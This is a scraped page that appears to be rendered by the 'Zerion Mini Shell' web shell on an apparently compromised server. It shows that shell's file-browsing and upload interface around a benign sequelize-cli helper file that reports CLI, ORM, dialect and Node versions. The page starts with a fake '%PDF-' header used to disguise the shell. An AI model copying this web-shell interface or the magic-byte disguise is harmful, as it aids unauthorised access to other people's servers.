%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/opti/workflow/node_modules/sequelize-cli/src/helpers/
Upload File :
Create Path :
Current File : /home/opti/workflow/node_modules/sequelize-cli/src/helpers/version-helper.js

import path from 'path';
import helpers from './index';

const packageJson = require(path.resolve(__dirname, '..', '..', 'package.json'));

module.exports = {
  getCliVersion () {
    return packageJson.version;
  },

  getOrmVersion () {
    return helpers.generic.getSequelize('package.json').version;
  },

  getDialect () {
    try {
      return helpers.config.readConfig();
    } catch (e) {
      return null;
    }
  },

  getDialectName () {
    const config = this.getDialect();

    if (config) {
      return {
        'sqlite':   'sqlite3',
        'postgres': 'pg',
        'postgresql': 'pg',
        'mariadb':  'mariasql',
        'mysql':    'mysql'
      }[config.dialect];
    } else {
      return null;
    }
  },

  getNodeVersion () {
    return process.version.replace('v', '');
  }
};

Zerion Mini Shell 1.0